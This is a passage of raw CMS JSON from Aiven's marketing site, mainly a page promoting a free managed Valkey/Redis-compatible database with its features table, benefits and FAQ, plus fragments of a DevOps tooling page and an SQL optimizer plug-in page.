PostgreSQL®."}],"markDefs":[],"style":"normal"}],"title":"Kubernetes","variant":"mediaRight"},{"_key":"079fb0b929fae42910bc3bf6c8fa30c1","_type":"textImage","addSpaceBottom":true,"backgroundColor":{"_ref":"5c6963ab-dc69-404b-af6f-d46262b3a35b","_type":"reference"},"disabled":false,"fullWidth":false,"image":{"_type":"mainImage","asset":{"_ref":"image-a545eafcef0d1d26d332dfa29dd8ccd334f892d7-800x800-webp","_type":"reference"}},"narrowImage":true,"rounded":false,"text":[{"_key":"4c58d6f33f74","_type":"block","children":[{"_key":"24382307215a0","_type":"span","marks":[],"text":"All DevOps tools are built on an open, secure and powerful REST API for integration with custom tooling. Read the "},{"_key":"24382307215a1","_type":"span","marks":["d95730edcaac"],"text":"Aiven API Docs"},{"_key":"24382307215a2","_type":"span","marks":[],"text":" and integrate Aiven services to your own processes."}],"markDefs":[{"_key":"d95730edcaac","_type":"link","href":"https://api.aiven.io/doc/"}],"style":"normal"},{"_key":"ad28626a3df5","_type":"block","children":[{"_key":"7be174b4e6770","_type":"span","marks":[],"text":"There is also a vibrant community of Aiven customers providing different integrations as Open Source. As an example, take a look at:"}],"markDefs":[],"style":"normal"},{"_key":"4ba8cc10b4ab","_type":"block","children":[{"_key":"4d437b9af1220","_type":"span","marks":["fa724916045a"],"text":"Aiven-rs, async Rust SDK for Aiven"}],"markDefs":[{"_key":"fa724916045a","_type":"link","href":"https://github.com/ansrivas/aiven-rs"}],"style":"normal"},{"_key":"ece631aa803b","_type":"block","children":[{"_key":"cab9948b95ab0","_type":"span","marks":["1a6b6d5dcd55"],"text":"Kafkarator for self-service Aiven for Apache Kafka® functionality through Kubernetes"}],"markDefs":[{"_key":"1a6b6d5dcd55","_type":"link","href":"https://github.com/nais/kafkarator"}],"style":"normal"},{"_key":"4e35ba03eda0","_type":"block","children":[{"_key":"e9895c27e2b60","_type":"span","marks":["472fafe03b12"],"text":"Pulumi Aiven Resource Provider for managing Aiven resources in your cloud"}],"markDefs":[{"_key":"472fafe03b12","_type":"link","href":"https://github.com/pulumi/pulumi-aiven"}],"style":"normal"},{"_key":"430fe08b57b9","_type":"block","children":[{"_key":"fcdc8503cd3a0","_type":"span","marks":["8ad31820941c"],"text":"Aiven Service Broker, compliant with Open Service Broker API"}],"markDefs":[{"_key":"8ad31820941c","_type":"link","href":"https://github.com/alphagov/paas-aiven-broker"}],"style":"normal"}],"title":"API","variant":"mediaLeft"}],"seo":{"_type":"metaData","metaDescription":"Get started with the Aiven Console GUI, change to the command line interface (CLI) for efficiency, or automate operations with Terraform or Kubernetes.","metaImage":{"_type":"mainImage","asset":{"_ref":"image-2cc7607cee4ea7c93c4b502ff4d1321f06585f91-1200x630-jpg","_type":"reference"}},"metaTitle":"Streamline data operations with DevOps tooling | Aiven insights"},"slug":{"_type":"slug","current":"/devops"},"title":"DevOps Tooling"} {"__i18n_lang":"en","_createdAt":"2023-12-11T06:59:28Z","_id":"a1d19d22-7a60-4f15-94a0-3b99a8abf4bc","_rev":"Tpe1Rj6o9fDmGqbWvvra38","_type":"page","_updatedAt":"2024-10-22T13:45:10Z","content":[{"_key":"223ca2b00cf6","_type":"hero","addSpaceBottom":false,"addSpaceTop":false,"backgroundColor":{"_ref":"5d01a557-a137-4fae-8bfb-d4e00870ff92","_type":"reference"},"backgroundImage":{"_type":"mainImage","asset":{"_ref":"image-c739d8bf1a345c9ce723b3e372243743f1db5425-1580x352-svg","_type":"reference"}},"backgroundPosition":"center center","backgroundPositionMobile":"center center","backgroundSize":"cover","backgroundSizeMobile":"auto","description":[{"_key":"478c6596f390","_type":"block","children":[{"_key":"10f5b47c263d0","_type":"span","marks":[],"text":"Start prototyping, experiment, and spin up your first fully managed, built on open source Valkey and compatible with legacy Redis® OSS database instance in the cloud at no cost. Choose "},{"_key":"7232002724bd","_type":"span","marks":["4067461b72f2"],"text":"Aiven for Valkey"},{"_key":"0f98e04b19a7","_type":"span","marks":[],"text":" as a caching layer for your application, when you need to access data swiftly and prioritize low latency."},{"_key":"4d9f140fa201","_type":"span","marks":["strong"],"text":" "}],"markDefs":[{"_key":"4067461b72f2","_type":"internalLink","internalLink":{"_ref":"468bc3bf-30d4-4b6f-b021-d9a1bee1a7eb","_type":"reference"}}],"style":"normal"},{"_key":"fb2f1711540f","_type":"block","children":[{"_key":"0994259d66c9","_type":"span","marks":[],"text":"If your needs grow, easily scale up to large production environments."}],"markDefs":[],"style":"normal"}],"disabled":false,"fullWidth":false,"imageSize":"default","noSpaceBottom":false,"noSpaceTop":false,"primaryCTA":{"_type":"link","externalUrl":"https://console.aiven.io/signup","title":"Get started for free"},"roundedCorners":"rounded-b","title":"Set up your free Redis®* compatible database","variant":"compact"},{"_key":"7f5393290be1","_type":"cardList","addSpaceBottom":false,"addSpaceTop":false,"align":"center","backgroundPosition":"center center","backgroundPositionMobile":"center center","backgroundSize":"cover","backgroundSizeMobile":"cover","disabled":false,"fullWidth":false,"headerPosition":"default","items":[{"_key":"556981852be0","_type":"cardItem","image":{"_type":"mainImage","asset":{"_ref":"image-d098c89aa75fd3ac9a72fbce0df9f861baaaf3e6-24x24-svg","_type":"reference"}},"title":"Temporarily test and prototype during product development","variant":"icon-card"},{"_key":"f6bfd8162e284a0d9be374c354d858cd","_type":"cardItem","image":{"_type":"mainImage","asset":{"_ref":"image-5353e73fbfe1afe2f0ed99fe04de47e76cc43fc8-24x24-svg","_type":"reference"}},"title":"Learn more about Redis®* as a data structures server, and the benefits of an in memory database for performance sensitive workloads.","variant":"icon-card"},{"_key":"1e5353a44a0a73416c3c74b9c3f081ea","_type":"cardItem","image":{"_type":"mainImage","asset":{"_ref":"image-ae904dc4f35e259578ede3723110880b94da9928-24x24-svg","_type":"reference"}},"title":"Use it as a database, cache, streaming engine, message broker, and more.","variant":"icon-card"}],"itemsPerRow":3,"noSpaceBottom":false,"noSpaceTop":false,"roundedCorners":"rounded-none","secondaryCTA":{"_type":"link","externalUrl":"https://aiven.io/docs/products/caching/get-started","title":"See docs"},"subtitle":[{"_key":"44c75559fe76","_type":"block","children":[{"_key":"ad4443668a950","_type":"span","marks":[],"text":"Aiven for Valkey plan is perfect for those seeking a hassle-free introduction to managed in-memory NoSQL databases, whether for personal or professional purposes. Tailored for small-scale projects, prototypes, and experiments, it offers essential features to quickly kickstart your initiatives."}],"markDefs":[],"style":"normal"}],"title":"Who is it for?","topOverlap":false},{"_key":"33ecab59b662146e0aca6a20b33ef8c9","_type":"textColumn","addSpaceBottom":true,"addSpaceTop":true,"backgroundColor":{"_ref":"a8d709ce-37bd-41f2-99fd-a5108a266e5c","_type":"reference"},"backgroundPosition":"center center","backgroundPositionMobile":"center center","backgroundSize":"auto","backgroundSizeMobile":"auto","disabled":false,"fullWidth":false,"noSpaceBottom":false,"noSpaceTop":false,"primaryCTA":{"_type":"link","externalUrl":"https://console.aiven.io/signup","title":"Get started for free"},"rounded":true,"subtitle":[{"_key":"905c08c8dfba","_type":"block","children":[{"_key":"08981d4a4a35","_type":"span","marks":[],"text":"With Aiven for Valkey plan, you operate on an exclusive virtual machine, ensuring there is no sharing of resources and no disturbances from other users. Enjoy premium capabilities such as"},{"_key":"b7ec686551bb","_type":"span","marks":["strong"],"text":" "},{"_key":"5808e59a4cea","_type":"span","marks":["185bdc93d6da"],"text":"Terraform integration"},{"_key":"8fc65da8aaa0","_type":"span","marks":[],"text":". Our easy-to-use and intuitive GUI simplifies database management, but you can also use "},{"_key":"4edcc243ebea","_type":"span","marks":["ff771ce1e19d"],"text":"Aiven’s CLI"},{"_key":"dc196a778758","_type":"span","marks":[],"text":" or Terraform for flexibility."}],"markDefs":[{"_key":"185bdc93d6da","_type":"link","href":"https://aiven.io/docs/tools/terraform"},{"_key":"ff771ce1e19d","_type":"link","href":"https://aiven.io/docs/tools/cli"}],"style":"normal"},{"_key":"e68219925506","_type":"table","rows":[{"_key":"f8f26ac5-9295-4a70-9578-545109c68acb","_type":"tableRow","cells":["Feature",""]},{"_key":"f049c85d-1d37-4d7d-bd59-5b9e5b95c8b2","_type":"tableRow","cells":["Dedicated VMs","1"]},{"_key":"3e533bb8-c9f2-4c30-8bf9-74ec2e74606f","_type":"tableRow","cells":["CPU per VM","1"]},{"_key":"427ec947-db2e-42a0-9f68-cc3c4639d729","_type":"tableRow","cells":["RAM per VM","1 GB"]},{"_key":"6eebaf56-2893-487e-9df7-8cf2a4f33afb","_type":"tableRow","cells":["Cloud","Amazon Web Services with selected regions"]},{"_key":"5926175f-e332-4f62-ab91-c1b1133ac80c","_type":"tableRow","cells":["All networking costs included","\u003cspan style=\"color:#40c057\"\u003e✓\u003c/span\u003e"]},{"_key":"02d09f41-78fb-423e-a030-e53e291b6341","_type":"tableRow","cells":["Seamless upgrade to other plans","\u003cspan style=\"color:#40c057\"\u003e✓\u003c/span\u003e"]},{"_key":"02df881d-baa9-4818-8aa9-5fb81178fc25","_type":"tableRow","cells":["One-click version upgrade","\u003cspan style=\"color:#40c057\"\u003e✓\u003c/span\u003e"]},{"_key":"db7b150c-df13-4d60-a1f6-d268c7dcdf72","_type":"tableRow","cells":["Performance graphs","\u003cspan style=\"color:#40c057\"\u003e✓\u003c/span\u003e"]},{"_key":"909a4257-2e25-4acc-b9a4-2649925b1064","_type":"tableRow","cells":["Data encrypted on disk and network","\u003cspan style=\"color:#40c057\"\u003e✓\u003c/span\u003e"]},{"_key":"0f983ebe-dc35-4b04-9e67-34bdee082179","_type":"tableRow","cells":["Backups for disaster recovery","\u003cspan style=\"color:#40c057\"\u003e✓\u003c/span\u003e"]},{"_key":"5cc099a3-1b0f-4d85-87bf-6149c2fc9730","_type":"tableRow","cells":["Support","[Community support](https://aiven.io/community/forum/)"]}]}],"title":"What’s included in your free Aiven for Valkey database?","variant":"centerColumn"},{"_key":"456211134c38","_type":"iconList","addSpaceBottom":false,"addSpaceTop":false,"backgroundColor":{"_ref":"5c6963ab-dc69-404b-af6f-d46262b3a35b","_type":"reference"},"backgroundPosition":"center center","backgroundPositionMobile":"center center","backgroundSize":"auto","backgroundSizeMobile":"auto","disabled":false,"fullWidth":true,"headerPosition":"default","iconSize":24,"icons":[{"_key":"131df512d6ed","_type":"iconItem","iconImage":{"_type":"mainImage","asset":{"_ref":"image-6390718f0f0f1312203b807186b5dad5da4a80be-25x24-svg","_type":"reference"}},"subtitle":[{"_key":"097a7734afd5","_type":"block","children":[{"_key":"b66bad93b5980","_type":"span","marks":[],"text":"Save time with Aiven’s free plan that covers all the essentials, including virtual machine, backup, and networking costs. No extra charges popping up."}],"markDefs":[],"style":"normal"}],"title":"Covers everything"},{"_key":"c9c8cb165bc704172dcf2311f847673c","_type":"iconItem","iconImage":{"_type":"mainImage","asset":{"_ref":"image-c368f51b75e646afb9e988f72627e49f7a0bc862-24x24-svg","_type":"reference"}},"subtitle":[{"_key":"1010442c2493","_type":"block","children":[{"_key":"3ca8cb5d981f0","_type":"span","marks":[],"text":"Aiven's dedicated legacy Redis® OSS compatible caching instances offer maximum security and privacy for your data, consistent performance levels, and the ability to fine-tune for optimal performance."}],"markDefs":[],"style":"normal"}],"title":"Aiven's dedicated instances"},{"_key":"66dd3c603cf25de370171e0911845bac","_type":"iconItem","iconImage":{"_type":"mainImage","asset":{"_ref":"image-216087e3f84e46bc6fec1379d984299ce66186a1-24x24-svg","_type":"reference"}},"subtitle":[{"_key":"4c0b317bd6e3","_type":"block","children":[{"_key":"517422262b360","_type":"span","marks":[],"text":"By having access to monitoring and logs, you can proactively identify and address issues before they escalate, gaining valuable insights into the performance of your database over time."}],"markDefs":[],"style":"normal"}],"title":"Monitoring and log access"},{"_key":"2c9b8627af5a9d6a9de3b5c716c31909","_type":"iconItem","iconImage":{"_type":"mainImage","asset":{"_ref":"image-8bf6307344286cf3f810660569ecb590fee7fca8-24x24-svg","_type":"reference"}},"subtitle":[{"_key":"34959747d99f","_type":"block","children":[{"_key":"516867b900fa0","_type":"span","marks":[],"text":"Manage your service using "},{"_key":"516867b900fa1","_type":"span","marks":["d1d78936ec13"],"text":"the Aiven Terraform provider"},{"_key":"516867b900fa2","_type":"span","marks":[],"text":", and automate the provisioning and management of your database. Easily deploy, manage and scale your database infrastructure with the most popular infrastructure-as-code tool."}],"markDefs":[{"_key":"d1d78936ec13","_type":"link","href":"https://aiven.io/docs/tools/terraform"}],"style":"normal"}],"title":"Terraform integration"},{"_key":"934ff837efcbbb4e3e61953037bdd723","_type":"iconItem","iconImage":{"_type":"mainImage","asset":{"_ref":"image-c73588011bea5b815efb960f9bb5ed6aa5a46c64-24x24-svg","_type":"reference"}},"subtitle":[{"_key":"fcf4d3b185ad","_type":"block","children":[{"_key":"811f2f12d17d0","_type":"span","marks":[],"text":"All Aiven services have "},{"_key":"811f2f12d17d1","_type":"span","marks":["6260b63ffac0"],"text":"certifications"},{"_key":"811f2f12d17d2","_type":"span","marks":[],"text":" like SOC2, ISO27001, PCI-DSS and GDPR. You also have the option to establish straightforward and secure authentication through Single Sign-On (SSO)."}],"markDefs":[{"_key":"6260b63ffac0","_type":"link","href":"https://aiven.io/security-compliance"}],"style":"normal"}],"title":"Secure and compliant"},{"_key":"87f17337dcf8","_type":"iconItem","iconImage":{"_type":"mainImage","asset":{"_ref":"image-092f95c7546f16488994272d57c0d36d60efb70b-24x24-svg","_type":"reference"}},"title":"Backups for disaster recovery"}],"itemsPerRow":3,"noSpaceBottom":false,"noSpaceTop":false,"rounded":false,"title":"Benefits of your free Aiven for Valkey"},{"_key":"370a36220baa","_type":"textColumn","addSpaceBottom":false,"addSpaceTop":false,"backgroundColor":{"_ref":"691c748b-6770-40d0-94dc-95f21aa776c8","_type":"reference"},"backgroundImage":{"_type":"mainImage","asset":{"_ref":"image-59f93eea73f1b4012da358ba444ee101f936f8d7-1265x431-svg","_type":"reference"}},"backgroundPosition":"center center","backgroundPositionMobile":"center center","backgroundSize":"contain","backgroundSizeMobile":"auto","darkTheme":true,"disabled":false,"fullWidth":false,"noSpaceBottom":false,"noSpaceTop":false,"rounded":true,"secondaryCTA":{"_type":"link","externalUrl":"https://aiven.io/community/forum/","title":"Go to forum "},"subtitle":[{"_key":"187aca998c72","_type":"block","children":[{"_key":"15b18aa923f50","_type":"span","marks":[],"text":"Make use of our community support forum to inquire, seek advice, and gain insights from fellow developers."}],"markDefs":[],"style":"normal"}],"title":"Join Aiven Community for support","variant":"centerColumn"},{"_key":"1a7c45b1c0fa","_type":"textImage","addSpaceBottom":false,"addSpaceTop":true,"backgroundColor":{"_ref":"5d01a557-a137-4fae-8bfb-d4e00870ff92","_type":"reference"},"backgroundPosition":"center center","backgroundPositionMobile":"center center","backgroundSize":"auto","backgroundSizeMobile":"auto","disabled":false,"fullWidth":true,"image":{"_type":"mainImage","alt":"How to start a free Redis®* OSS compatible database","asset":{"_ref":"image-b54e8b0d35a7582eb2c101df1106bc39bdc48f4c-1520x917-jpg","_type":"reference"}},"imagePosition":"center","noSpaceBottom":false,"noSpaceTop":false,"primaryCTA":{"_type":"link","externalUrl":"https://console.aiven.io/signup","title":"Start your free plan"},"roundedCorners":"rounded-tl","text":[{"_key":"2a2cece7be56","_type":"block","children":[{"_key":"e143cdb3fd0f0","_type":"span","marks":[],"text":"Ready to take Aiven for Valkey for a spin? Set up your Valkey service, compatible with legacy Redis®* OSS in less than 2 minutes. It's easy and quick - simply access our web console or use our API, CLI, or Terraform. Check out "},{"_key":"e143cdb3fd0f1","_type":"span","marks":["2931130b8908"],"text":"our docs"},{"_key":"e143cdb3fd0f2","_type":"span","marks":[],"text":" and sign up with your Github or Google account!"}],"markDefs":[{"_key":"2931130b8908","_type":"link","href":"https://aiven.io/docs/products/valkey/get-started"}],"style":"normal"}],"title":"Create your free Aiven for Valkey service","variant":"mediaRight"},{"_key":"5a4af1bca9a134481180bac41a44aaa2","_type":"textColumn","addSpaceBottom":false,"addSpaceTop":false,"backgroundColor":{"_ref":"5d01a557-a137-4fae-8bfb-d4e00870ff92","_type":"reference"},"backgroundPosition":"center center","backgroundPositionMobile":"center center","backgroundSize":"cover","backgroundSizeMobile":"cover","columnOne":[{"_key":"eac3a8e377b3","_type":"block","children":[{"_key":"21a2f8654b12","_type":"span","marks":[],"text":""}],"markDefs":[],"style":"normal"},{"_key":"eac3a8e377b3_deduped_1","_type":"block","children":[{"_key":"21a2f8654b12","_type":"span","marks":[],"text":""}],"markDefs":[],"style":"normal"}],"disabled":false,"fullWidth":true,"noSpaceBottom":false,"noSpaceTop":true,"roundedCorners":"rounded-br","subtitle":[{"_key":"3fc2186cf620","_type":"block","children":[{"_key":"9d6bd2eb156e","_type":"span","marks":[],"text":"Connect to your service via command line ("},{"_key":"8020ec482f71","_type":"span","marks":["e26e2de779d4"],"text":"redis-cli"},{"_key":"7b250c035ced","_type":"span","marks":[],"text":") or your application ("},{"_key":"6bed7363981a","_type":"span","marks":["c18b83f80e84"],"text":"Go"},{"_key":"18e8951a9e0d","_type":"span","marks":[],"text":", "},{"_key":"c9799ab8cb99","_type":"span","marks":["eee507b873b4"],"text":"NodeJS"},{"_key":"294ef92103de","_type":"span","marks":[],"text":", "},{"_key":"f88b6589a7dd","_type":"span","marks":["08ca4a7f47c3"],"text":"PHP"},{"_key":"fc1580374181","_type":"span","marks":[],"text":", "},{"_key":"a1b427bac3a6","_type":"span","marks":["e93980d11ebc"],"text":"Python"},{"_key":"d93752436859","_type":"span","marks":[],"text":", "},{"_key":"2c6c9d0ab6ee","_type":"span","marks":["e4520640a3ac"],"text":"Java"},{"_key":"995b197f26f9","_type":"span","marks":[],"text":")"}],"level":1,"listItem":"number","markDefs":[{"_key":"e26e2de779d4","_type":"link","href":"https://aiven.io/docs/products/redis/howto/connect-redis-cli"},{"_key":"c18b83f80e84","_type":"link","href":"https://aiven.io/docs/products/redis/howto/connect-go"},{"_key":"eee507b873b4","_type":"link","href":"https://aiven.io/docs/products/redis/howto/connect-node"},{"_key":"08ca4a7f47c3","_type":"link","href":"https://aiven.io/docs/products/redis/howto/connect-php"},{"_key":"e93980d11ebc","_type":"link","href":"https://aiven.io/docs/products/redis/howto/connect-python"},{"_key":"e4520640a3ac","_type":"link","href":"https://aiven.io/docs/products/redis/howto/connect-java"}],"style":"normal"},{"_key":"e8d44a8a18a6","_type":"block","children":[{"_key":"3ae00def68bd","_type":"span","marks":[],"text":"Migrate your own database to test it on Aiven platform from an external Redis®* with "},{"_key":"7187557373af","_type":"span","marks":["a61552eed8cf"],"text":"this migration process"},{"_key":"45c8a0f68bfa","_type":"span","marks":[],"text":"."}],"level":1,"listItem":"number","markDefs":[{"_key":"a61552eed8cf","_type":"link","href":"https://aiven.io/docs/products/redis/howto/migrate-redis-db"}],"style":"normal"}],"title":"Next steps","variant":"oneColumn"},{"_key":"11339c8ad14ea3c6d0de067101786810","_type":"iconList","addSpaceBottom":false,"addSpaceTop":false,"backgroundPosition":"center center","backgroundPositionMobile":"center center","backgroundSize":"auto","backgroundSizeMobile":"auto","disabled":false,"fullWidth":false,"headerPosition":"default","iconSize":24,"icons":[{"_key":"3ae2570e5a0911d2d59bdadf90291c0c","_type":"iconItem","iconImage":{"_type":"mainImage","asset":{"_ref":"image-ae904dc4f35e259578ede3723110880b94da9928-24x24-svg","_type":"reference"}},"subtitle":[{"_key":"54d9ba81173d","_type":"block","children":[{"_key":"03a8feabae030","_type":"span","marks":[],"text":"Utilizing Redis®* allows for effortless data transfer to various services or platforms without incurring extra costs or complications. This ease of data migration ensures a smooth transition to Aiven from another service or platform."}],"markDefs":[],"style":"normal"},{"_key":"6855708c2528","_type":"block","children":[{"_key":"748085c793c80","_type":"span","marks":[],"text":"\n"}],"markDefs":[],"style":"normal"}],"title":"Standard Open Source Technology"},{"_key":"962f6ef53b7a47d7f2c79579768dec93","_type":"iconItem","iconImage":{"_type":"mainImage","asset":{"_ref":"image-f031c696b7d1e96077b40dee85d180c60d675137-25x24-svg","_type":"reference"}},"subtitle":[{"_key":"a8bd62c57a74","_type":"block","children":[{"_key":"1f7ba6da581b0","_type":"span","marks":[],"text":"Aiven’s free Redis®* hosting is built on the same robust platform that our enterprise customers trust. You can be confident that your database is in good hands, and that it's backed by the same powerful tools and technology that all our customers rely on."}],"markDefs":[],"style":"normal"},{"_key":"8926fe88bce8","_type":"block","children":[{"_key":"98b06a23de780","_type":"span","marks":[],"text":"\n"}],"markDefs":[],"style":"normal"}],"title":"Same robust Aiven services"},{"_key":"3d0050b0325d9f6859f6a247fcba2a1b","_type":"iconItem","iconImage":{"_type":"mainImage","asset":{"_ref":"image-728af07e15f7eb0d5a2eb43ffe3ee8ef774a969c-24x24-svg","_type":"reference"}},"subtitle":[{"_key":"2abc199effdc","_type":"block","children":[{"_key":"bbb2cd235ccb0","_type":"span","marks":[],"text":"You can expand your Redis®* database with other "},{"_key":"d792a24a4446","_type":"span","marks":["3cdf615e1029"],"text":"free services like Aiven for MySQL®"},{"_key":"53b52d5d7971","_type":"span","marks":[],"text":" or "},{"_key":"56643a8c7656","_type":"span","marks":["c4872c3a20b5"],"text":"Aiven for PostgreSQL®"},{"_key":"ec9fcff6a141","_type":"span","marks":[],"text":"."}],"markDefs":[{"_key":"3cdf615e1029","_type":"internalLink","internalLink":{"_ref":"5bf8e320-5f39-4e26-9dc6-aa894cce583c","_type":"reference"}},{"_key":"c4872c3a20b5","_type":"internalLink","internalLink":{"_ref":"142bd962-060f-4672-9ada-af1a246fc272","_type":"reference"}}],"style":"normal"}],"title":"Add more services"}],"itemsPerRow":3,"noSpaceBottom":false,"noSpaceTop":false,"title":"Aiven is all about open source"},{"_key":"0f8f467f767ada9819a23c2f162365c4","_type":"accordion","addSpaceBottom":false,"addSpaceTop":false,"backgroundColor":{"_ref":"a8d709ce-37bd-41f2-99fd-a5108a266e5c","_type":"reference"},"backgroundPosition":"center center","backgroundPositionMobile":"center center","backgroundSize":"cover","backgroundSizeMobile":"cover","disabled":false,"fullWidth":false,"isFaqAccordion":true,"items":[{"_key":"428b517d39ea","_type":"accordionItem","id":"redis-free","panelText":[{"_key":"36678b74572d","_type":"block","children":[{"_key":"59bbb80a565b","_type":"span","marks":[],"text":"Redis®* is free as an open-source software, but if you opt for managed services or choose to use it in conjunction with specific platforms, there might be associated costs. Aiven offers free managed Redis®* service and also a "},{"_key":"7b3aa166b251","_type":"span","marks":["a52e21da536a"],"text":"paid version"},{"_key":"9d117604aaff","_type":"span","marks":[],"text":" with full capabilities, support and features of the Aiven data platform."}],"markDefs":[{"_key":"a52e21da536a","_type":"internalLink","internalLink":{"_ref":"468bc3bf-30d4-4b6f-b021-d9a1bee1a7eb","_type":"reference"}}],"style":"normal"}],"title":"Is Redis®* free?"},{"_key":"181d0f6fe928e6eae9599e55b71ba7dd","_type":"accordionItem","id":"deploy","panelText":[{"_key":"36678b74572d","_type":"block","children":[{"_key":"d171bf05b1c4","_type":"span","marks":["20748a3d540e"],"text":"Sign up with Aiven"},{"_key":"b7de9e7d9ac2","_type":"span","marks":[],"text":" to deploy your initial Redis®*"},{"_key":"59d7151b593a","_type":"span","marks":["strong"],"text":" "},{"_key":"1a6a67fc9f0f","_type":"span","marks":[],"text":"database is quick and easy through our web UI. No credit card needed."}],"markDefs":[{"_key":"20748a3d540e","_type":"link","href":"https://console.aiven.io/signup"}],"style":"normal"},{"_key":"6d0d4440b400","_type":"block","children":[{"_key":"9f00450918550","_type":"span","marks":[],"text":"First, choose your preferred region, then click 'Create Service.' Then connect to your database using provided connection details for popular tools. Lastly secure your connection and load data with available workflows for migrating from an existing database or importing sample data."}],"markDefs":[],"style":"normal"},{"_key":"04c1e62821e0","_type":"block","children":[{"_key":"1dc6548507f10","_type":"span","marks":[],"text":"Alternatively, manage your free service using the "},{"_key":"1dc6548507f11","_type":"span","marks":["99738bba5145"],"text":"Aiven CLI"},{"_key":"1dc6548507f12","_type":"span","marks":[],"text":" or our "},{"_key":"1dc6548507f13","_type":"span","marks":["29c262094e13"],"text":"Terraform provider."}],"markDefs":[{"_key":"99738bba5145","_type":"link","href":"https://aiven.io/docs/tools/cli"},{"_key":"29c262094e13","_type":"link","href":"https://aiven.io/docs/tools/terraform"}],"style":"normal"}],"title":"How to deploy a free Redis®* database in the cloud?"},{"_key":"3486b3df8049e0528b06dcb160e6f6fa","_type":"accordionItem","id":"limit","panelText":[{"_key":"964523930653","_type":"block","children":[{"_key":"f8c9b51c15db0","_type":"span","marks":[],"text":"While"},{"_key":"f8c9b51c15db1","_type":"span","marks":["5c2e88a917d1"],"text":" free plans come with certain restrictions"},{"_key":"f8c9b51c15db2","_type":"span","marks":[],"text":", they are available at no cost indefinitely. If you require additional memory or access to the complete set of features, opting for the free trial might be a more suitable choice."}],"markDefs":[{"_key":"5c2e88a917d1","_type":"link","href":"https://aiven.io/docs/platform/concepts/free-plan"}],"style":"normal"},{"_key":"8d8399f85ddb","_type":"block","children":[{"_key":"d299dadd88bc0","_type":"span","marks":[],"text":"Aiven free plans don't have any time constraints. However, free plans will be automatically powered off if they aren't actively used. You will be notified in advance about any free services that are scheduled to be powered off, via email and notification in the Aiven platform."}],"markDefs":[],"style":"normal"},{"_key":"41be86b292c5","_type":"block","children":[{"_key":"b68b1adf8dfb0","_type":"span","marks":[],"text":"Aiven also reserves the right to terminate services if they are deemed to violate the "},{"_key":"7b72daef52ab","_type":"span","marks":["a256502e24cf"],"text":"acceptable use policy"},{"_key":"167967d6f520","_type":"span","marks":[],"text":"."}],"markDefs":[{"_key":"a256502e24cf","_type":"internalLink","internalLink":{"_ref":"174ba708-1e30-481f-ab87-32c8d8fac151","_type":"reference"}}],"style":"normal"},{"_key":"131cde780a5d","_type":"block","children":[{"_key":"83097ec2f0330","_type":"span","marks":["9fc3641caa99"],"text":"See the full list of features and limitations here"}],"markDefs":[{"_key":"9fc3641caa99","_type":"link","href":"https://docs.aiven.io/docs/platform/concepts/free-plan#free-plan-features-and-limitations"}],"style":"normal"}],"title":"What limitations does Aiven’s free Redis®* plan have? "}],"noSpaceBottom":false,"noSpaceTop":false,"roundedCorners":"rounded","title":"FAQ"},{"_key":"42b462fe059f","_type":"cardList","addSpaceBottom":true,"addSpaceTop":false,"align":"center","backgroundColor":{"_ref":"5c6963ab-dc69-404b-af6f-d46262b3a35b","_type":"reference"},"backgroundPosition":"center center","backgroundPositionMobile":"center center","backgroundSize":"auto","backgroundSizeMobile":"auto","disabled":false,"fullWidth":true,"headerPosition":"default","items":[{"_key":"d49e58421273","_type":"cardItem","ctaLink":{"_type":"link","externalUrl":"https://docs.aiven.io/docs/products/redis/howto/connect-node","title":"Connect with NodeJS"},"image":{"_type":"mainImage","asset":{"_ref":"image-ac635e5643f5691578ff859676e141d7f0ffcf36-1200x630-jpg","_type":"reference"}},"subtitle":[{"_key":"6445c9ad32aa","_type":"block","children":[{"_key":"3d70991fd61d0","_type":"span","marks":[],"text":"This example connects to Redis®* service from NodeJS, making use of the "},{"_key":"3d70991fd61d1","_type":"span","marks":["code"],"text":"ioredis"},{"_key":"3d70991fd61d2","_type":"span","marks":[],"text":" library."}],"markDefs":[],"style":"normal"}],"tagline":"Docs","title":"Connect with NodeJS","variant":"default"},{"_key":"95bfe27b1b26","_ref":"110695fb-7084-48fa-a3e0-1b49f9966d26","_type":"devArticle"},{"_key":"762103e3ac1d","_ref":"670e91f4-eed4-4549-beed-1f049c3efe08","_type":"devArticle"}],"itemsPerRow":3,"noSpaceBottom":false,"noSpaceTop":false,"rounded":false,"title":"You might be interested in"}],"seo":{"_type":"metaData","metaDescription":"Free managed Redis®* database with Terraform integration. Cloud-powered, secure and scalable solution for your data needs. Backups for disaster recovery.","metaImage":{"_type":"mainImage","alt":"Free Redis®* database","asset":{"_ref":"image-397aac3a9f3b139dc75403390727130da45e6ae9-1200x630-jpg","_type":"reference"}},"metaTitle":"Set up hosted Redis®* database for FREE"},"slug":{"_type":"slug","current":"/free-redis-database"},"title":"Free Redis®* Database"} {"__i18n_lang":"en","_createdAt":"2024-11-11T09:45:38Z","_id":"b72fddc9-a8e4-48f3-874d-2b0ad9c00992","_rev":"PbSF8wjEESeIG4nK42D3M3","_type":"page","_updatedAt":"2024-11-29T13:59:15Z","content":[{"_key":"50egzdlup3zwgm47fst1zr24cuq9e9m9","_type":"cardList","addSpaceBottom":false,"addSpaceTop":true,"align":"center","backgroundColor":{"_ref":"5d01a557-a137-4fae-8bfb-d4e00870ff92","_type":"reference"},"backgroundPosition":"center center","backgroundPositionMobile":"center center","backgroundSize":"cover","backgroundSizeMobile":"cover","compact":false,"disabled":false,"fullWidth":false,"headerPosition":"default","items":[{"_key":"r1rswqvp22tuyitqhkksolwimwnbrkje","_type":"cardItem","borderTopColor":{"_ref":"04985b78-1330-4b9d-9643-3b6050b75609","_type":"reference"},"ctaLink":{"_type":"link","externalUrl":"https://plugins.jetbrains.com/plugin/17399-sql-optimizer-sql-formatter-sql-indexing-postgresql-and-mysql","title":"Get from JetBrains plug-in"},"image":{"_type":"mainImage","alt":"Copyright © 2024 JetBrains s.r.o. JetBrains and the JetBrains logo are trademarks of JetBrains s.r.o.","asset":{"_ref":"image-0771e57a89ed3fd31f33b80fb9336d5324a9dc72-298x64-svg","_type":"reference"}},"title":"JetBrains","variant":"icon-card"},{"_key":"i4sr5k0enfu5pxvnueyvoym50riblsny","_type":"cardItem","borderTopColor":{"_ref":"04985b78-1330-4b9d-9643-3b6050b75609","_type":"reference"},"ctaLink":{"_type":"link","externalUrl":"https://marketplace.visualstudio.com/items?itemName=Aiven.aiven-sql-optimizer-extension","title":"Get from Microsoft marketplace"},"image":{"_type":"mainImage","asset":{"_ref":"image-1a77aa13a9d57858dc26c0c784fa8debc20dd110-100x100-svg","_type":"reference"}},"title":"Visual Studio 